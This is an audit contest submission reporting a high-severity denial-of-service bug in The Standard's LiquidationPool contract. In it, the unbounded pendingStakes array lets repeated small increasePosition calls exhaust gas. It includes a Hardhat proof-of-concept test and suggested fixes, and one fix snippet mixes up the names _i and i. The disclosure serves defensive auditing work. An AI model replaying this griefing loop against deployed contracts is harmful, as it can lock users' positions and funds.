The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Unbounded looping of the `pendingStakes` array could lead to a griefing/DOS attack affecting the many function.

joshuajee

Summary

The pendingStakes array can grow without bound making the loop too expensive to execute, causing the transaction to revert, and locking some functions forever.

Vulnerability Details

Items are added to the pendingStakes array in the increasePosition function, before adding to this array it calls the consolidatePendingStakes function that deletes from pending stakes when certain conditions are met.

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
@> consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
@> pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}

The consolidatePendingStakes loops through the pendingStakes array, this operation might fail if the array is very large.

Inside the loop, this function checks if every stake is older than a day, before creating a position for it and deleting it from the array pendingStakes in the deletePendingStake.

function consolidatePendingStakes() private {
@> uint256 deadline = block.timestamp - 1 days;
@> for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
@> if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
@> deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}

The root cause of the bug is that the pendingStakes array can get very large within 24 hours thereby causing a denial of service in the functions that are using the whole array.

Impact

The following functions increasePosition, distributeFees, getTstTotal, holderPendingStakes, deletePendingStake, consolidatePendingStakes, decreasePosition, and distributeAssets may become permanently inoperable when this happens

POC

pendingStakes.length has no maximum size

​
describe("DOS", () => {
​
it('Should Run out of gas', async () => {
const balance = ethers.utils.parseEther('500000000');
const tstVal = 1;
const eurosVal = 5;
​
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await LiquidationPool.position(user1.address);
​
await TST.approve(LiquidationPool.address, balance);
await EUROs.approve(LiquidationPool.address, balance);
​
// Increase Position 200 times adding 200 positions to the "pendingStakes" array.
for (let i = 0; i < 200; i++){
await LiquidationPool.increasePosition(tstVal, eurosVal);
}
​
// One day after the last pending solution
await fastForward(DAY);
​
/**
* This function call will, call the "consolidatePendingStakes" function
* since all the pendingStakes are older than a day, the "deletePendingStake"
* function would be called, and since this function loops through
* the "pendingStakes" array. The whole operation is going to be run
* n^2 times i.e 200^2 = 40000 times.
* */
await LiquidationPool.increasePosition(tstVal, eurosVal)
​
})
})
​
LiquidationPool
DOS
1) allows increasing position by one or both assets
​
​
0 passing (1m)
1 failing
​
1) LiquidationPool
DOS
allows increasing position by one or both assets:
TransactionExecutionError: Transaction ran out of gas

Recommendation

  • Give pendingStakes a maximum length so it doesn't go over that length.

  • The deletePendingStake function can work without looping through the pendingStakes array, this fix saves gas and prevent the call from revertinh.

function deletePendingStake(uint256 _i) private {
pendingStakes[i] = pendingStakes[pendingStakes.length - 1];
pendingStakes.pop();
}
​

  • The consolidatePendingStakes function should not be called in the following functions.increasePosition, decreasePosition, and distributeAssets. Rather the consolidatePendingStakes function should be made public and called regularly by and upkeep.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!